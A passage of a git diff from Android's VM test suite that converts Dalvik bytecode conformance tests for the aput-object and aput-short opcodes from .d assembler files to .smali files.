-; !(SuperClass -> SuperInterface2[])    
-Label2:
-Label20:    
-    aput-object v5, v8, v0
-Label21:    
-    goto Label3
-Label22:
-    add-int/lit8 v1, v1, 1
-    goto Label3
-
-; !(SubClass[] -> SuperInterface[])    
-Label3:
-Label30:    
-    aput-object v2, v6, v0
-Label31:    
-    goto Label4
-Label32:    
-    add-int/lit8 v1, v1, 1
-    goto Label4
-
-Label4:
-    return v1
-    
-.catch java/lang/ArrayStoreException from Label10 to Label11 using Label12
-.catch java/lang/ArrayStoreException from Label20 to Label21 using Label22
-.catch java/lang/ArrayStoreException from Label30 to Label31 using Label32
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SubClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SubClass.smali
new file mode 100644
index 0000000..0f07140
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SubClass.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/aput_object/d/SubClass;
+.super Ldot/junit/opcodes/aput_object/d/SuperClass;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/aput_object/d/SuperClass;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperClass.smali
new file mode 100644
index 0000000..ea90286
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperClass.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/aput_object/d/SuperClass;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/aput_object/d/SuperInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface.smali
new file mode 100644
index 0000000..71933a0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class interface abstract Ldot/junit/opcodes/aput_object/d/SuperInterface;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface2.smali
new file mode 100644
index 0000000..f5a486a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface2.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/aput_object/d/SuperInterface2;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/T_aput_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/T_aput_object_3.smali
new file mode 100644
index 0000000..58d26bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/T_aput_object_3.smali
@@ -0,0 +1,117 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/aput_object/d/T_aput_object_3;
+.super Ljava/lang/Object;
+.source "T_aput_object_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 32
+
+    const v1, 0x0
+
+    const v0, 0x1
+
+# v2 = SubClass[]
+    new-array v2, v0, [Ldot/junit/opcodes/aput_object/d/SubClass;
+
+# v3 =  SuperClass[]
+    new-array v3, v0, [Ldot/junit/opcodes/aput_object/d/SuperClass;
+
+# v4 =     SubClass
+    new-instance v4, Ldot/junit/opcodes/aput_object/d/SubClass;
+
+    invoke-direct {v4}, Ldot/junit/opcodes/aput_object/d/SubClass;-><init>()V
+
+# v5 =     SuperClass
+    new-instance v5, Ldot/junit/opcodes/aput_object/d/SuperClass;
+
+    invoke-direct {v5}, Ldot/junit/opcodes/aput_object/d/SuperClass;-><init>()V
+
+# v6 = SuperInterface[]
+    new-array v6, v0, [Ldot/junit/opcodes/aput_object/d/SuperInterface;
+
+# v7 =     Object[]
+    new-array v7, v0, [Ljava/lang/Object;
+
+# v8 = SuperInterface2[]
+    new-array v8, v0, [Ldot/junit/opcodes/aput_object/d/SuperInterface2;
+
+    const/4 v0, 0x0
+
+# (SubClass -> SuperClass[])
+    aput-object v4, v3, v0
+
+# (SubClass -> SuperInterface[])
+    aput-object v4, v6, v0
+
+# (SubClass -> Object[])
+    aput-object v4, v7, v0
+
+    :try_start_21
+# !(SuperClass -> SubClass[])
+    aput-object v5, v2, v0
+    :try_end_23
+    .catch Ljava/lang/ArrayStoreException; {:try_start_21 .. :try_end_23} :catch_24
+
+    goto :goto_27
+
+    :catch_24
+    add-int/lit8 v1, v1, 0x1
+
+    goto :goto_27
+
+    :goto_27
+    :try_start_27
+# !(SuperClass -> SuperInterface2[])
+    aput-object v5, v8, v0
+    :try_end_29
+    .catch Ljava/lang/ArrayStoreException; {:try_start_27 .. :try_end_29} :catch_2a
+
+    goto :goto_2d
+
+    :catch_2a
+    add-int/lit8 v1, v1, 0x1
+
+    goto :goto_2d
+
+    :goto_2d
+    :try_start_2d
+# !(SubClass[] -> SuperInterface[])
+    aput-object v2, v6, v0
+    :try_end_2f
+    .catch Ljava/lang/ArrayStoreException; {:try_start_2d .. :try_end_2f} :catch_30
+
+    goto :goto_33
+
+    :catch_30
+    add-int/lit8 v1, v1, 0x1
+
+    goto :goto_33
+
+    :goto_33
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.d
deleted file mode 100644
index f79b817..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_4.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/Object;)V
-.limit regs 11
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.smali
new file mode 100644
index 0000000..10fd71b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_4.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/Object;)V
+.registers 11
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.d
deleted file mode 100644
index 441ac56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_5.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;DLjava/lang/String;)V
-.limit regs 11
-
-       aput-object v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.smali
new file mode 100644
index 0000000..e44ac6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_5.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;DLjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.d
deleted file mode 100644
index 5786bbb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_6.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;IJ)V
-.limit regs 11
-
-       aput-object v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.smali
new file mode 100644
index 0000000..3bb0b53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_6.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;IJ)V
+.registers 11
+
+       aput-object v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.d
deleted file mode 100644
index dfdc953..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_7.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;ILjava/lang/String;)V
-.limit regs 11
-
-       aput-object v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.smali
new file mode 100644
index 0000000..68f7198
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_7.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;ILjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.d
deleted file mode 100644
index e6259bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_8.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([FILjava/lang/String;)V
-.limit regs 10
-
-       aput-object v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.smali
new file mode 100644
index 0000000..7d4c17a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_8.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([FILjava/lang/String;)V
+.registers 10
+
+       aput-object v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.d
deleted file mode 100644
index 96bced3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_9.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JILjava/lang/String;)V
-.limit regs 10
-
-       aput-object v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.smali
new file mode 100644
index 0000000..2471664
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_9.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JILjava/lang/String;)V
+.registers 10
+
+       aput-object v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.d
deleted file mode 100644
index f89cbb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_1.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SIS)V
-.limit regs 11
-
-       aput-short v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.smali
new file mode 100644
index 0000000..5461f95
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_1.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIS)V
+.registers 11
+
+       aput-short v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.d
deleted file mode 100644
index 9d63757..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_2.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SDS)V
-.limit regs 11
-
-
-       aput-short v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.smali
new file mode 100644
index 0000000..e351e7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_2.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SDS)V
+.registers 11
+
+
+       aput-short v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.d
deleted file mode 100644
index c9990b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_3.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SIJ)V
-.limit regs 11
-
-
-       aput-short v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.smali
new file mode 100644
index 0000000..5d07372
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
